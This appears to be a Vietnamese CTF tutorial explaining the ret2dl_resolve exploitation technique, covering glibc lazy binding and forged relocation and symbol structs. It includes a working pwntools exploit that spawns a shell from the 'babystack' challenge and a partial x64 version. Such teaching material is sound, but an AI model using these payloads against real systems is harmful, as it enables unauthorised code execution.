- gặp những chall ngỡ là BOF, không phải là heap
- nhưng nó lạ lắm 🙃🙃🙃
- có thể những cách khai thác dưới đây sẽ có ích 🥵
## ref
- https://www.youtube.com/@JHTPwner
- https://hackmd.io/@whoisthatguy
- https://github.com/nhtri2003gmail
- https://hackmd.io/@ChinoKafuu
# RET2DL_RESOLVE
- khi ta có thể overflow như bình thường nhưng không thể leak libc bằng cách GOT và PLT
- và cũng không biết version libc
- thì **ret2dl_resolve** là 1 kỹ thuật lấy shell khá nâng cao (PIE và Canary tắt)
## Overview
- vì mục đích tối ưu hoá cho dù có mục nhập GOT entry cho mọi **function** trong libc thì trước khi thực hiện điều đó, sẽ gọi hàm ``_dl_runtime_resolve``
> hoặc được gọi là: (không rõ cái nào mới đúng mà cũng tựa tựa nhau)
> ``_dl_runtime_resolve_fxsave``
> ``_dl_runtime_resolve_xsave``
> ``_dl_runtime_resolve_xsavec``
> hàm luôn được load vào các dynamic linker binary trong lúc thực thi
- nó sẽ được gọi ở dạng ``_dl_runtime_resolve(link_map, reloc_arg)``
- ``link_map`` là hằng số toàn cục (global constant)
- ``reloc_arg`` là offset tính từ ``.rel.plt`` section
- cấu trúc ``Elf_Sym`` của offset đó sẽ bao gồm chuỗi chứa tên của hàm, sử dụng bởi ``_dl_fixup`` và được gọi bởi ``_dl_runtime_resolve`` ---> lấy địa chỉ hàm trong libc ---> insert vào GOT cho mục đích sử dụng sau này
### What happend?
- do có hàm con được gọi đến trước khi xuất hiện GOT, ta hoàn toàn có thể fake struct ``Elf_Sym`` để trick ``_dl_runtime_resolve`` gọi đến hàm **system**
- để có được điều đó, ta cần 2 yếu tố:
- ``dl_fixup`` fake argument ``reloc_arg``
- fake các biến thành viên ``st_name`` trong cấu trúc ``Elf_Sym``
## Lazy Binding Process
- khi một chương trình được thực thi trong Linux, các liên kết động (dynamic linker) chỉ được gọi đến để tham chiếu các **symbols** trong libc khi cần thiết
---> tức là ban đầu rỗng, ==**chưa có gì hết nếu chưa được gọi đến**==
---> nói cách khác program sẽ hoàn toàn không biết được địa chỉ cụ thể của của một **function** đến khi nó thực sự được gọi đến
- quá trình ``resolving symbols`` diễn ra trong lúc chạy, còn được gọi là **lazy binding**

- Khi gọi hàm **read**:
- [1] ``call read@plt <0x401030>``
- nhảy vào ``.plt`` của **read**
- [2] ``jmp QWORD PTR [rip+0x...] # 0x404018 <read@got.plt>``
- nhảy vào một địa chỉ trong ``.got.plt``
- [3] ``0x401036 #not resolved``
- nếu địa chỉ này chưa resolved ---> trỏ ngược lại vào địa chỉ tiếp theo cần thực hiện trong ``.plt``
- nếu resolved rồi thì thực thi nó
- [4] ``jmp 0x401020``
- nếu chưa resolved thì bước này là bước đi resolved
- **resolved process** sẽ push 2 arguments lên stack : ``link_map`` và ``reloc_arg``
:::spoiler link_map ?
- [``link map``](https://code.woboq.org/userspace/glibc/include/link.h.html#link_map) là nơi chứa các địa chỉ như ở hình

> là một cấu trúc quan trọng chứa tất cả các loại thông tin về loaded shared object
> linker tạo một danh sách liên kết ``link_map`` và mỗi ``link_map`` structure mô tả một shared object.
:::
## Analyse
- ta sẽ thử source sau:
```c
#include <stdio.h>
int main(){
puts("Done");
}
```
> compile ``gcc a.c -no-pie -o a`` và dùng pwndbg phân tích
- đi sâu vào ``<puts@plt>``

> thấy nó sẽ đi qua ``_dl_runtime_resolve_xsavec``
- dump hàm ``dl_runtime_resolve_xsavec`` ra
```pwndbg
pwndbg> disas _dl_runtime_resolve_xsavec
Dump of assembler code for function _dl_runtime_resolve_xsavec:
0x00007ffff7fd8d30 <+0>: endbr64
0x00007ffff7fd8d34 <+4>: push rbx
0x00007ffff7fd8d35 <+5>: mov rbx,rsp
0x00007ffff7fd8d38 <+8>: and rsp,0xffffffffffffffc0
0x00007ffff7fd8d3c <+12>: sub rsp,QWORD PTR [rip+0x23f4d] # 0x7ffff7ffcc90 <_rtld_global_ro+432>
0x00007ffff7fd8d43 <+19>: mov QWORD PTR [rsp],rax
0x00007ffff7fd8d47 <+23>: mov QWORD PTR [rsp+0x8],rcx
0x00007ffff7fd8d4c <+28>: mov QWORD PTR [rsp+0x10],rdx
0x00007ffff7fd8d51 <+33>: mov QWORD PTR [rsp+0x18],rsi
0x00007ffff7fd8d56 <+38>: mov QWORD PTR [rsp+0x20],rdi
0x00007ffff7fd8d5b <+43>: mov QWORD PTR [rsp+0x28],r8
0x00007ffff7fd8d60 <+48>: mov QWORD PTR [rsp+0x30],r9
0x00007ffff7fd8d65 <+53>: mov eax,0xee
0x00007ffff7fd8d6a <+58>: xor edx,edx
0x00007ffff7fd8d6c <+60>: mov QWORD PTR [rsp+0x250],rdx
0x00007ffff7fd8d74 <+68>: mov QWORD PTR [rsp+0x258],rdx
0x00007ffff7fd8d7c <+76>: mov QWORD PTR [rsp+0x260],rdx
0x00007ffff7fd8d84 <+84>: mov QWORD PTR [rsp+0x268],rdx
0x00007ffff7fd8d8c <+92>: mov QWORD PTR [rsp+0x270],rdx
0x00007ffff7fd8d94 <+100>: mov QWORD PTR [rsp+0x278],rdx
0x00007ffff7fd8d9c <+108>: xsavec [rsp+0x40]
0x00007ffff7fd8da1 <+113>: mov rsi,QWORD PTR [rbx+0x10]
0x00007ffff7fd8da5 <+117>: mov rdi,QWORD PTR [rbx+0x8]
0x00007ffff7fd8da9 <+121>: call 0x7ffff7fd5e70 <_dl_fixup> #hàm cần quan tâm
0x00007ffff7fd8dae <+126>: mov r11,rax
0x00007ffff7fd8db1 <+129>: mov eax,0xee
0x00007ffff7fd8db6 <+134>: xor edx,edx
0x00007ffff7fd8db8 <+136>: xrstor [rsp+0x40]
0x00007ffff7fd8dbd <+141>: mov r9,QWORD PTR [rsp+0x30]
0x00007ffff7fd8dc2 <+146>: mov r8,QWORD PTR [rsp+0x28]
0x00007ffff7fd8dc7 <+151>: mov rdi,QWORD PTR [rsp+0x20]
0x00007ffff7fd8dcc <+156>: mov rsi,QWORD PTR [rsp+0x18]
0x00007ffff7fd8dd1 <+161>: mov rdx,QWORD PTR [rsp+0x10]
0x00007ffff7fd8dd6 <+166>: mov rcx,QWORD PTR [rsp+0x8]
0x00007ffff7fd8ddb <+171>: mov rax,QWORD PTR [rsp]
0x00007ffff7fd8ddf <+175>: mov rsp,rbx
0x00007ffff7fd8de2 <+178>: mov rbx,QWORD PTR [rsp]
0x00007ffff7fd8de6 <+182>: add rsp,0x18
0x00007ffff7fd8dea <+186>: jmp r11 #giá trị trả về của _dl_fixup
End of assembler dump.
```

>$rdi -> link_map : 0x7ffff7ffe2e0
>$rsi -> relog_arg : 0
- khi đi sâu vào hàm ``_dl_fixup`` sẽ có gọi thêm 1 hàm khác

>$rdi là 1 địa chỉ chứa chuỗi 'puts' (địa chỉ chứa tên của 1 hàm có nghĩa trong libc)
- **NẾU** ta thay đổi giá trị này thành 1 con trỏ tới 1 chuỗi ký tự có tên khác như 'read', 'printf', ... thì địa chỉ trả về của hàm ``_dl_lookup_symbol_x`` sẽ là địa chỉ của hàm **read()**, **printf()** tương ứng
- [xem source hàm ``_dl_fixup``](https://codebrowser.dev/glibc/glibc/elf/dl-runtime.c.html#41)
```c=
_dl_fixup (
# ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS
ELF_MACHINE_RUNTIME_FIXUP_ARGS,
# endif
struct link_map *l, ElfW(Word) reloc_arg)
{
const ElfW(Sym) *const symtab = (const void *) D_PTR (l, l_info[DT_SYMTAB]);
const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);
const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset (pltgot, reloc_arg));
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
const ElfW(Sym) *refsym = sym;
void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);
lookup_t result;
DL_FIXUP_VALUE_TYPE value;
/* Sanity check that we're really looking at a PLT relocation. */
assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);
/* Look up the target symbol. If the normal lookup rules are not
used don't look in the global scope. */
if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)
{
const struct r_found_version *version = NULL;
if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
{
const ElfW(Half) *vernum = (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
version = &l->l_versions[ndx];
if (version->hash == 0)
version = NULL;
}
/* We need to keep the scope around so do some locking. This is
not necessary for objects which cannot be unloaded or when
we are not using any threads (yet). */
int flags = DL_LOOKUP_ADD_DEPENDENCY;
if (!RTLD_SINGLE_THREAD_P)
{
THREAD_GSCOPE_SET_FLAG ();
flags |= DL_LOOKUP_GSCOPE_LOCK;
}
#ifdef RTLD_ENABLE_FOREIGN_CALL
RTLD_ENABLE_FOREIGN_CALL;
#endif
result = _dl_lookup_symbol_x (strtab + sym->st_name,
l,
&sym,
l->l_scope,
version,
ELF_RTYPE_CLASS_PLT,
flags,
NULL);
/* We are done with the global scope. */
if (!RTLD_SINGLE_THREAD_P)
THREAD_GSCOPE_RESET_FLAG ();
#ifdef RTLD_FINALIZE_FOREIGN_CALL
RTLD_FINALIZE_FOREIGN_CALL;
#endif
/* Currently result contains the base load address (or link map)
of the object that defines sym. Now add in the symbol
offset. */
value = DL_FIXUP_MAKE_VALUE (result, SYMBOL_ADDRESS (result, sym, false));
}
else
{
/* We already found the symbol. The module (and therefore its load
address) is also known. */
value = DL_FIXUP_MAKE_VALUE (l, SYMBOL_ADDRESS (l, sym, true));
result = l;
}
/* And now perhaps the relocation addend. */
value = elf_machine_plt_value (l, reloc, value);
if (sym != NULL && __builtin_expect (ELFW(ST_TYPE) (sym->st_info) == STT_GNU_IFUNC, 0))
value = elf_ifunc_invoke (DL_FIXUP_VALUE_ADDR (value));
/* Finally, fix up the plt itself. */
if (__glibc_unlikely (GLRO(dl_bind_not)))
return value;
return elf_machine_fixup_plt (l, result, refsym, sym, reloc, rel_addr, value);
}
```
### Preliminary Remarks
- ở dòng thứ 5, hàm kì vọng 2 arg
```
5 | struct link_map *l, ElfW(Word) reloc_arg)
```
> những arg đó sẽ push lên trước khi ``_dl_fixup`` được gọi đến
> ``link_map`` is an important structure
> ``reloc_arg`` will be used to identify the corresponding ``Elf64_Rel`` entry in the **JMPREL** section.
- ở dòng 7 và 8, ``symtab`` và ``strtab`` được lấy từ ``link_map`` địa chỉ của **SYMTAB** and **STRTAB**:
```
7 | const ElfW(Sym) *const symtab = (const void *) D_PTR (l, l_info[DT_SYMTAB]);
8 | const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);
```
- ``l_info`` ở địa chỉ ``(address of link_map) + 0x40``
- [DT_SYMTAB](https://codebrowser.dev/glibc/glibc/elf/elf.h.html#860), [DT_STRTAB](https://codebrowser.dev/glibc/glibc/elf/elf.h.html#861) và [D_PTR](https://codebrowser.dev/glibc/glibc/elf/elf.h.html#89) được định nghĩa như sau:
```c
# define DT_STRTAB 5
# define DT_SYMTAB 6
# define D_PTR(map, i) ((map)->i->d_un.d_ptr + (map)->l_addr)
// if the dynamic section is read only
# define D_PTR(map, i) (map)->i->d_un.d_ptr
// otherwise
```
- ``d_ptr`` value trong ``Elf64_Dyn`` structure tương ứng trong DYNAMIC section
```c
typedef struct{
Elf64_Sxword d_tag; /* Dynamic entry type */
union
{
Elf64_Xword d_val; /* Integer value */
Elf64_Addr d_ptr; /* Address value */
} d_un;
} Elf64_Dyn;
```
- tổng thể: ``l->l_info[5]->d_un.d_ptr`` là ``l_info[DT_STRTAB]``
## Target ret2dl_resolve
:::info
🎯 fake argument ``reloc_arg``
🎯 fake 3 sections ``STRTAB`` , ``SYMTAB`` và ``JMPREL``
🆘 để fake đúng, ta cần tính offset **CHUẨN**
🆘 3 addr cần fake thường nằm ở phân vùng .bss hoặc heap
🆘 bắt buộc phải controlled hoàn toàn những địa chỉ trên
:::
## STRTAB (string table)
- ``STRTAB`` chỉ là nơi chứa các strings (tên hàm trong libc)
- examble:

>0x400430 là STRTAB (dùng ``readelf`` dump ra)
```c
const char *strtab = (const void *) D_PTR(l, l_info[DT_STRTAB]);
```
:::success
📝Target của mình là ghi 'system\0' (null terminated string) vào 1 địa chỉ trong đó
:::
## SYMTAB (symbol table)
- table giữ thông tin liên quan đến symbol
- [xem source](https://codebrowser.dev/glibc/glibc/elf/elf.h.html#515)
### x86 (32 bit)
```c
typedef uint16_t Elf32_Half; // 2 bytes
typedef uint32_t Elf32_Word; // 4 bytes
typedef uint32_t Elf32_Addr; // 4 bytes
typedef struct
{
Elf32_Word st_name; /* Symbol name, index in string table (4 bytes)*/
Elf32_Addr st_value; /* Value of the symbol (4 bytes) */
Elf32_Word st_size; /* Associated symbol size (4 bytes) */
unsigned char st_info; /* Type and binding attributes (1 bytes) */
unsigned char st_other; /* No defined meaning, 0 (1 bytes) */
Elf32_Section st_shndx; /* Associated section index (2 bytes) */
} Elf32_Sym;
```
### x86_64 (64 bit)
```c
typedef uint16_t Elf64_Half; // 2 bytes
typedef uint32_t Elf64_Word; // 4 bytes
typedef uint64_t Elf64_Addr; // 8 bytes
typedef uint64_t Elf64_Xword; // 8 bytes
typedef struct
{
Elf64_Word st_name; /* Symbol name, index in string table (4 bytes)*/
unsigned char st_info; /* Type and binding attributes (1 bytes) */
unsigned char st_other; /* No defined meaning, 0 (1 bytes) */
Elf64_Section st_shndx; /* Associated section index (2 bytes) */
Elf64_Addr st_value; /* Value of the symbol (8 bytes) */
Elf64_Xword st_size; /* Associated symbol size (8 bytes) */
} Elf64_Sym;
```
### How?
```c
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)]
//which is the same as:
const ElfW(Sym) *sym = &symtab[(reloc->r_info) >> 8]
// also the same as:
*sym = SYMTAB + index *sizeof(sym)
// index = (reloc->r_info) >> 8
-------------------------------------------------
const ElfW(Sym) *const symtab = (const void *) D_PTR (l, l_info[DT_SYMTAB])
// l ở đây là link_map
--------------------SYMTAB-----------------------
```
### Compare
```
st_name : xác định vị trí chuỗi chính xác trong phần STRTAB
st_info : chứa các thuộc tính ràng buộc và loại của symbol
st_other : chứa symbol's visibility
st_shndx : chứa chỉ mục header có liên quan
st_value : chứa giá trị
st_size : chứa kích thước của symbol (no size or size undefined ---> set = 0 )
```
- x32 và x64 khác mỗi size và value, còn lại tương tự
- ta sẽ quan tâm đến 2 thứ:
- ``st_other`` : = 0 ( **bắt buộc** )
- ``st_name`` : = offset_string ( đến chuỗi 'system\0' )
### Examble (for x64 bits):

> ảnh mẫu
```pwngdb
pwndbg> x/3xg 0x4002c0 + 1 * 24
0x4002d8: 0x000000120000001a 0x0000000000000000
0x4002e8: 0x0000000000000000
```
>the size for each struct ``Elf64_Sym`` is also 24 bytes (3 * 0x8)
- 8 bytes đầu tiên gồm ``st_name`` (0x0000001a), ``st_info`` (0x12), ``st_other`` (0x00) and ``st_shndx`` (0x0000)
- 8 bytes kế là ``st_value`` (0x0000000000000000)
- và 8 bytes cuối là ``st_size`` (0x0000000000000000)
:::success
📝 formula: ``(fake_SYMTAB) = (SYMTAB) + (symbol_number) * 24``
:::
## JMPREL (.rel.plt)
- **JMPREL** segment lưu trữ table gọi là ``Relocation table``
- mỗi entry maps là một symbol.
```bash
# readelf -r ./babystack
Relocation section '.rel.dyn' at offset 0x2a8 contains 1 entries:
Offset Info Type Sym.Value Sym. Name
08049ffc 00000306 R_386_GLOB_DAT 00000000 __gmon_start__
Relocation section '.rel.plt' at offset 0x2b0 contains 3 entries:
Offset Info Type Sym.Value Sym. Name
0804a00c 00000107 R_386_JUMP_SLOT 00000000 read@GLIBC_2.0
0804a010 00000207 R_386_JUMP_SLOT 00000000 alarm@GLIBC_2.0
0804a014 00000407 R_386_JUMP_SLOT 00000000 __libc_start_main@GLIBC_2.0
```
- [xem source](https://codebrowser.dev/glibc/glibc/elf/elf.h.html#630)
### x86 (32 bits)
```c
typedef uint32_t Elf32_Addr; // 4 bytes
typedef uint32_t Elf32_Word; // 4 bytes
typedef struct
{
Elf32_Addr r_offset; /* Address */
Elf32_Word r_info; /* Relocation type and symbol index */
} Elf32_Rel;
#define ELF32_R_SYM(val) ((val) >> 8)
#define ELF32_R_TYPE(val) ((val) & 0xff)
```
### x86_64(64 bits)
```c
typedef uint64_t Elf64_Addr; // 8 bytes
typedef uint64_t Elf64_Xword; // 8 bytes
typedef struct
{
Elf64_Addr r_offset; /* Address */
Elf64_Xword r_info; /* Relocation type and symbol index */
} Elf64_Rel;
```
### How?
```c
void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);
const PLTREL *const reloc = (const void *) (D_PTR(l, l_info[DT_JMPREL]) + reloc_offet);
// the same as:
reloc = JMPREL + reloc_offset
// also:
reloc_offset = reloc_arg //x32
reloc_offset = reloc_arg *0x18 //x64
```
### Compare
```
rel_addr : là một pointer tới vị trí resolved libc address
r_offset : chứa vị trí nơi địa chỉ của resolved symbol sẽ được lưu trữ (trong GOT).
r_info : cho biết relocation type và symbol table index
```
- x32 và x64 khác nhau về lượng byte
### Examble (for x64 bits)

>ảnh mẫu
```pwndbg
pwndbg> x/3xg 0x400498 + 0 * 24
0x400498: 0x0000000000601018 0x0000000100000007
0x4004a8: 0x0000000000000000
```
- 8 bytes đầu tiên là ``r_offset`` (0x0000000000601018)
> which is the GOT of ``__stack_chk_fail@GLIBC_2.4``
```pwndbg
pwndbg> x/2i 0x0000000000601018
0x601018 <__stack_chk_fail@got.plt>: es add eax,0x40
0x60101e <__stack_chk_fail@got.plt+6>: add BYTE PTR [rax],al
```
- 8 bytes tiếp theo là ``r_info`` (0x0000000100000007)
> which saves its type and symbol number (which will be used to calculate SYMTAB address)
```c
# define R_X86_64_JUMP_SLOT 7
# define ELF64_R_SYM(i) ((i) >> 32)
# define ELF64_R_TYPE(i) ((i) & 0xffffffff)
```
- nói cho dễ hiểu, python formular để lấy **symbol number** và **type** là :
```python
symbol_number = r_info >> 32
type = r_info & 0xffffffff
```
- với ``r_info`` ở trên (0x0000000100000007), **symbol address** và **type** có thể tính toán như sau:
```python
symbol_number = 0x0000000100000007 >> 32 = 1
type = 0x0000000100000007 & 0xffffffff = 7 = R_X86_64_JUMP_SLOT
```
:::success
📝 formula: ``(fake_JMPREL) = (JMPREL) + (reloc_arg) * 24``
:::
## Summary
- Get **JMPREL_addr**:
>pwndbg> x/3xg (JMPREL) + (reloc_arg) * 24
>symbol_number = r_info >> 32
>type = r_info & 0xffffffff
- Get **SYMTAB_addr**:
>pwndbg> x/3xg (SYMTAB) + (symbol_number) * 24
- Get **STRTAB_addr**:
>pwndbg> x/s (STRTAB) + (st_name)
## Exploit
- quick recap:
- 1. push ``linkmap``, ``reloc_arg``
call ``_dl_fixup(link_map, reloc_arg)``
- 2. get **SYMTAB** addr
``const PLTREL *const reloc = (const void *) (JMPREL + reloc_offset);``
- 3. get **STRTAB** addr
``const ElfW(Sym) *sym = &symtab[reloc->r_info >> 32];``
- 4. sanity check
``assert ((reloc->r_info & 0xffffffff) == 0x7);``
- 5. check resolved or not (need ``st_other`` = 0)
``if (__builtin_expect ((sym->st_other & 0x03), 0) == 0)``
- 6. check version symbol
``if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)``
- 7. check loaded objects’ symbol tables
``result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL);``
kiểm tra ``strtab + sym->st_name`` rồi return ``link_map``, ``l_addr`` point libc_base
- 8. find offset function and relocates it
``value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value);``
- 9. ghi địa chỉ của resolved symbol ở vị trí trỏ bởi ``rel_addr`` (trong GOT)
``return elf_machine_fixup_plt (l, result, refsym, sym, reloc, rel_addr, value);``
- step by step:
1. find 3 addr can controlled (``addr1``, ``addr2`` and ``addr3``)
2. fake ``ELF32_Rela/ELF64_Rela`` struct for ``addr1``
- ``reloc_arg`` = ``addr1`` - **JMPREL** (x32)
- ``reloc_arg`` = ( ``addr1`` - **JMPREL** ) / 24 (x64)
- ``r_info`` = ( ( ``addr2`` - **SYMTAB** ) / 16 ) << 8 ) | 7 (x32)
- ``r_info`` = ( **symbol_number** << 32 ) | 7 (x64)
- ``addr1`` chunk : [GOT, r_info]
3. fake ``ELF32_Sym / ELF64_Sym`` struct for ``addr2``
- ``st_name`` = ``addr3`` - **STRTAB**
- ``st_value``, ``st_size``, ``st_info``, ``st_other``, ``st_shndx`` = 0
4. write ``system`` vào ``addr3``
### Fake **relog_arg**
- địa chỉ fake ``Elf64_Sym``, ta sẽ chọn địa chỉ mà ta lấy ``symbol_number`` là một số nguyên, không phải số float
```python
Address_of_Elf64_Sym = SYMTAB + symbol_number * 24
<=> symbol_number = (Address_of_Elf64_Sym - SYMTAB) / 24
```
- tương tự với ``relog_arg``
```python
Address_of_Elf64_Rela = JMPREL + reloc_arg * 24
<=> reloc_arg = (Address_of_Elf64_Rela - JMPREL) / 24
```
- với ``addr`` ta tìm được, tính đến ``st_name``
```python
STRTAB_addr = 0x400000 # For example
st_name = STRTAB_addr - STRTAB
```
- struct:
```pwndbg
pwndbg> # x/3xg SYMTAB + (r_info >> 32)*24
pwndbg> x/3xg 0x4002c0 + (0x0000000100000007 >> 32)*24
0x4002d8: 0x000000120000001a 0x0000000000000000
0x4002e8: 0x0000000000000000
```
- content:
```python
st_name = p32(0x1a) (4 bytes)# 0000001a
st_info = p8(12) (1 byte) # 12
st_other = p8(0) (1 byte) # 00
st_shndx = p16(0) (2 bytes)# 0x0000
st_value = p64(0)
st_size = p64(0)
```
### Fake **link_map**
- ta cần phải fake ``DT_STRTAB`` của ``link_map`` để nó trỏ đến string ta cần
```pwndbg
pwndbg> # 0x400530 <memset@plt>
pwndbg> x/3i 0x400530
0x400530 <memset@plt>: jmp QWORD PTR [rip+0x200aea] # 0x601020 <memset@got.plt>
0x400536 <memset@plt+6>: push 0x1 # reloc_arg
0x40053b <memset@plt+11>: jmp 0x400510 # dlresolver
pwndbg> # x/2i (dlresolver)
pwndbg> x/2i 0x400510
0x400510: push QWORD PTR [rip+0x200af2] # 0x601008 (pointer of link_map)
0x400516: jmp QWORD PTR [rip+0x200af4] # 0x601010 (pointer of _dl_runtime_resolve_xsavec)
pwndbg> # x/xg (pointer of link_map)
pwndbg> x/xg 0x601008
0x601008: 0x00007ffff7ffe180
pwndbg> # x/32xg (link_map)
pwndbg> x/16xg 0x00007ffff7ffe180
0x7ffff7ffe180: 0x0000000000000000 0x00007ffff7ffe720 <-- l_addr l_name
0x7ffff7ffe190: 0x0000000000600e20 0x00007ffff7ffe730 <-- l_ld l_next
0x7ffff7ffe1a0: 0x0000000000000000 0x00007ffff7ffe180 <-- l_prev l_real
0x7ffff7ffe1b0: 0x0000000000000000 0x00007ffff7ffe708 <-- l_ns l_libname
0x7ffff7ffe1c0: 0x0000000000000000 0x0000000000600e20 <-- l_info[0] l_info[1]
0x7ffff7ffe1d0: 0x0000000000600f00 0x0000000000600ef0 <-- l_info[2] l_info[3]
0x7ffff7ffe1e0: 0x0000000000000000 0x0000000000600ea0 <-- l_info[4] l_info[DT_STRTAB]
0x7ffff7ffe1f0: 0x0000000000600eb0 0x0000000000600f30 <-- l_info[DT_SYMTAB] l_info[7]
```
- mục tiêu là thay đổi giá trị tại ``DT_STRTAB`` index (từ ``0x0000000000600ea0`` đến địa chỉ ta cần)
- các giá trị trước ``l_info[DT_STRTAB]`` ta có thể để NULL
> vì ``_dl_fixup`` sẽ dùng ``l_addr`` và ``l_info`` để resolve nhưng ta có thể thấy ``l_addr`` đã NULL sẵn ---> chỉ cần ghi NULL tiếp đến khi gặp ``l_info[DT_STRTAB]``
- fake ``l_info[DT_STRTAB]`` với biến global
```python
buf_addr = 0x601080 # global variable address
DT_STRTAB_addr = buf_addr + 0x8
DT_STRTAB_struct = p64(0x5)
DT_STRTAB_struct += p64(buf_addr + 0x18 - 0x37) # STRTAB_addr - st_name
STRTAB_addr = buf_addr + 0x18
STRTAB_struct = b'system\x00\x00'
```
- sau khi nhập giá trị biến **buf**, nó tiếp tục **memset()** lần nữa
---> fake **memset()** thành **system()**
===> cần chuỗi '/bin/sh\0' đầu biến **buf** nên khi resolve -> thực thi **system('/bin/sh\0')**
```python
buf_data = b'/bin/sh\x00'
buf_data += DT_STRTAB_struct
buf_data += STRTAB_struct
```
## DEMO
- nhìn đống bên trên có vẻ nhức đầu đúng không
- qua DEMO bên dưới sẽ dễ nhớ công thức hơn nha
### x32
- [chall](https://www.da.vidbuchanan.co.uk/blog/static/babystack.tar.gz) sẽ lấy làm demo (x32)
==lưu ý cách khai thác trên file 32 sẽ khác file 64==
- basic file check

- check ida

> lược qua hàm **main()** vì đây là hàm chính để khai thác
- sơ bộ tổng thể chương tình chỉ có 1 function duy nhất là **read()**, ngoài ra cũng có BOF
- note lại các địa chỉ cần thiết

>SYMTAB = 0x080481cc
>STRTAB = 0x0804822c
>JMPREL = 0x080482b0
- bước đầu tiên ta cần pivot stack
```python
addr1 = 0x804af00 #.bss
payload = b'a'*40 #padding
payload += p32(addr1) #ebp
payload += p32(exe.plt['read']) #call plt read
payload += p32(leave_ret) #push + pop
#setup read(0, add1, 0x100)
payload += p32(0)
payload += p32(addr1)
payload += p32(0x100)
p.send(payload)
```
- khi đang chờ để nhập payload lần 2, ta tạm thời k rõ offset nên trước mắt sẽ cộng cho 1 số 'X'
- sau khi vào ``_dl_runtime_resolve`` sẽ tính tiếp
- tính : ``reloc_args = addr1 - JMPREL``
- tính ``r_info`` theo công thức trên
> r_info = addr2 - SYMTAB // 16
> r_info = (r_info << 8) | 0x7
- sau khi thực hiện hàm **read()** sẽ ``leave_ret`` 1 lần nữa
- tức khi return địa chỉ hiện tại là addr1 + 0x8
- để thoả mãn ``_dl_runtime_resolve`` chứa 2 arg, nó sẽ push ``link_map`` và ``relog_arg`` lên
- như vậy tại $esp-0x4 sẽ là ``link_map``
> ``link_map`` là địa chỉ này
> 
> 0x080482f0
- tiếp theo là ``relog_arg``
- add1 hiện tại là f00, esp là f08
- túm cái váy cho payload lần 2:
- gửi tiếp relog_arg #f08
- gửi SYMTAB #f0c
- gửi STRTAB #f10
- gửi 1 struct cho ELF32_rela #f14
- gửi 1 struct cho ELF32_sym #f1c
- gửi 'system' -> addr3 #f2c
- tiếp tục tính lại 3 địa chỉ:
- addr1 += 0x14
- addr2 = 0x804af1c
- addr3 = 0x804af2c -> st_name = addr3 - STRTAB
```
push reloc_arg, linkmap
get SYMTAB address
get STRTAB address
get a ptr to ELF32_Rela / ELF64_Rela struct
get a ptr to ELF32_Sym / ELF64_Sym struct
check r_info ending with 0x7
check st_other == 0 or not
do some stuff to check the version
get the address from glibc base on STRTAB + st_name
```

- script
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./babystack',checksec=False)
p = process(exe.path)
SYMTAB = 0x080481cc
STRTAB = 0x0804822c
JMPREL = 0x080482b0
leave_ret = 0x08048455
# gdb.attach(p,gdbscript='''
# b*0x804844c
# b*0x8048451
# c
# ''')
# input()
addr1 = 0x804af00 #.bss
payload = b'a'*40 #padding
payload += p32(addr1) #ebp
payload += p32(exe.plt['read']) #call plt read
payload += p32(leave_ret) #push + pop
#setup read(0, add1, 0x100)
payload += p32(0)
payload += p32(addr1)
payload += p32(0x100)
p.send(payload)
sleep(1)
addr1 += 0x14
reloc_args = addr1 - JMPREL
log.info('fake ELF32_RELA addr1 : ' + hex(addr1))
log.info('reloc_args: ' + hex(reloc_args))
addr2 = 0x804af1c
log.info('fake ELF32_SYM addr2 : ' + hex(addr2))
r_info = (addr2 - SYMTAB) // 16
r_info = (r_info << 8) | 0x7
log.info("r_info : " + hex(r_info))
link_map = 0x80482f0
st_name = 0x0804af2c - STRTAB
payload = b'a'*4 #padding
payload += p32(link_map)
payload += p32(reloc_args) #f08
payload += b'sh\x00\x00' #SYMTAB #f0c
payload += p32(0x0804af0c) #STRTAB #f10
payload += p32(exe.got['read']) #f14 #fake ELF32_rela #r_offset(GOT)
payload += p32(r_info) #f18 #r_info
payload += p32(st_name) #f1c #fake ELF32_sym #st_name
payload += p32(0) #f20 #st_value
payload += p32(0) #f24 #st_size
payload += p32(0) #f28 #st_info(1) + st_other(1) + st_shndx(2)
payload += b'system\0' #f2c #addr3
p.send(payload)
p.interactive()
```
### x64
- sẽ đi nhanh ở x64 do x32 đã DEMO gần hết
- payload mẫu cho stack pivot
```python
payload = b"a"*64 #padding
payload += p64(rw_section) #rbp
payload += p64(pop_rsi_r15) + p64(rw_section) + p64(0)
payload += p64(exe.plt['read'])
payload += p64(leave_ret)
```
- setup structure
```python
SYMTAB_addr = 0x404a40
JMPREL_addr = 0x404a68
STRTAB_addr = 0x404a78
# 3 fake_addr trên mình sẽ DEBUG liên tục mà thay đổi
# chứ không phải chọn đại đâu nha
# còn các gtri dưới đây là công thức
symbol_number = int((SYMTAB_addr - SYMTAB)/24)
reloc_arg = int((JMPREL_addr - JMPREL)/24)
st_name = STRTAB_addr - STRTAB
log.info("symbol_number: " + hex(symbol_number))
log.info("reloc_arg: " + hex(reloc_arg))
log.info("st_name: " + hex(st_name))
st_info = 0x12
st_other = 0
st_shndx = 0
st_value = 0
st_size = 0
SYMTAB_struct = p32(st_name)
SYMTAB_struct += p8(st_info)
SYMTAB_struct += p8(st_other)
SYMTAB_struct += p16(st_shndx)
SYMTAB_struct += p64(st_value)
SYMTAB_struct += p64(st_size)
r_offset = exe.got['read']
r_info = (symbol_number << 32) | 7
r_addend = 0
JMPREL_struct = p64(r_offset)
